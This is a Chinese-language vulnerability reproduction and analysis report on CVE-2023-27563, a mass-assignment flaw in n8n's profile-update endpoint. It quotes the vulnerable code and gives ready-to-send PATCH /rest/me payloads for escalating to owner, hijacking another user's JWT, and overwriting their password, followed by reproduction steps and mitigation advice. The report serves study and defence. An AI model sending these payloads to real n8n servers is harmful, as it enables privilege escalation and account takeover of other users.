安全研究/和中谈安全/CVE-2023-27563 漏洞复现与分析报告
CVE-2023-27563 漏洞复现与分析报告
2026-05-06 09:50分享

一、前言

`CVE-2023-27563` 是 n8n `<= 0.215.2` 中的一个批量赋值漏洞。Synacktiv 在公告中指出,已认证普通用户可以通过修改个人资料接口,向服务端提交本不应允许编辑的字段,最终实现权限提升、获取其他用户 JWT,甚至直接篡改其他用户密码。

与常见的“字段校验不严”不同,这个问题直接发生在用户对象更新逻辑中,因此影响的是账号体系本身,危害范围非常大。

二、版本 diff

基于公告中的代码片段,可以推断修复重点包括:

  1. 为个人资料修改接口引入明确的字段白名单。
  2. 禁止用户提交 `id`、`globalRole`、`globalRoleId`、`password` 等敏感字段。
  3. 在保存用户对象前,对“当前登录用户”与“待更新对象”之间的身份一致性进行强校验。

漏洞点位于 `packages/cli/src/controllers/me.controller.ts` 的 `updateCurrentUser()` 方法。

三、复现环境

根据 Synacktiv 公告,可用如下环境完成复现:

  1. 目标版本:n8n `0.215.2`
  2. 部署方式:Docker
  3. 账号准备:
  • 一个 `owner` 账号
  • 一个普通 `member` 账号
  1. 认证要求:攻击者需使用普通用户登录

为了更直观验证结果,建议启用 SQLite,便于观察数据库中文件和密码字段的变化。

四、漏洞分析

4.1 漏洞入口

公告给出的核心代码如下:

@Patch('/')

async updateCurrentUser(req, res): Promise<PublicUser> {

  const { email: currentEmail } = req.user;

  const newUser = new User();

  Object.assign(newUser, req.user, req.body);

  await validateEntity(newUser);

  const user = await this.userRepository.save(newUser);

  await issueCookie(res, user);

  return sanitizeUser(user);

}

问题在于这句:

Object.assign(newUser, req.user, req.body);

服务端先将当前用户对象复制到 `newUser`,随后又把 `req.body` 中的所有字段直接合并进去。只要请求体里包含敏感属性,这些属性就会覆盖原对象中的对应值。整个过程中没有针对敏感字段做白名单限制,也没有阻止用户修改并不属于自己的对象标识。

4.2 利用场景一:普通用户提升为 owner

普通用户可直接调用个人资料修改接口,把自己的角色改为 owner:

PATCH /rest/me HTTP/1.1

Host: target

Cookie: n8n-auth=<member 用户登录态>

Content-Type: application/json

{

  "email": "user@pwn.local",

  "globalRole": {

    "id": 1

  }

}

如果保存成功,返回结果中的 `globalRoleId` 将变为 `1`,对应全局 owner 权限。此时攻击者已经完成从普通成员到账户管理员的权限提升。

4.3 利用场景二:伪造其他用户身份并获取 JWT

由于请求体中的 `id` 也可以被覆盖,攻击者可以把待更新对象“切换”为其他用户:

PATCH /rest/me HTTP/1.1

Host: target

Cookie: n8n-auth=<member 用户登录态>

Content-Type: application/json

{

  "id": "529c8a11-40e4-4a69-9862-98d101ccc591",

  "email": "owner-pwn@pwn.local"

}

问题的关键不只是数据库内容被改写,还在于服务端后续执行了:

await issueCookie(res, user);

也就是说,保存后的对象是谁,服务端就会给谁重新签发 Cookie。这样一来,攻击者虽然最初使用的是普通成员账号,但响应里返回的 `Set-Cookie` 却会变成目标用户的 JWT,从而实现账户接管。

4.4 利用场景三:修改其他用户密码

在同样的逻辑下,攻击者还能直接改写目标用户密码:

PATCH /rest/me HTTP/1.1

Host: target

Cookie: n8n-auth=<member 用户登录态>

Content-Type: application/json

 

{

  "id": "529c8a11-40e4-4a69-9862-98d101ccc591",

  "email": "owner-pwn@pwn.local",

  "password": "BadPasswordToInsertInDatabase"

}

Synacktiv 的演示结果表明,目标用户密码字段会被直接写入数据库。无论应用后续是否做额外密码处理,这种“允许普通用户修改其他账号密码”的能力本身就已经构成严重账户安全问题。

4.5 复现步骤

  1. 部署 n8n `0.215.2`。
  2. 创建一个 owner 账号和一个普通 member 账号。
  3. 使用 member 账号登录并获取 `n8n-auth` Cookie。
  4. 对 `/rest/me` 发送构造后的 `PATCH` 请求。
  5. 分别验证三类结果:

  • 自身角色是否升级为 owner。
  • 响应头中是否返回目标用户 JWT。
  • 目标用户密码或邮箱是否被成功修改。

4.6 漏洞本质

该漏洞属于典型的 Mass Assignment(批量赋值)问题。框架或开发者为了简化对象更新逻辑,直接把用户输入整体合并到模型对象中,却忽略了其中可能包含高敏感度字段。只要缺少字段级访问控制,攻击者就能通过“提交本不该由自己控制的属性”完成提权或越权操作。

五、总结

`CVE-2023-27563` 的危险性在于它直接攻击了 n8n 的用户对象更新机制。普通登录用户不仅可以修改自身资料,还可以借助批量赋值缺陷覆盖角色、用户 ID、邮箱、密码等关键字段,最终实现提权、会话伪造和账号接管。

此类问题的防护关键并不复杂,但必须贯彻到底:只接收明确允许修改的字段,只基于服务端可信身份确定更新目标,并对角色、密码、ID 等敏感属性设置独立的安全流程。否则,一个看似普通的资料编辑接口,就可能演变成整套权限系统的突破口。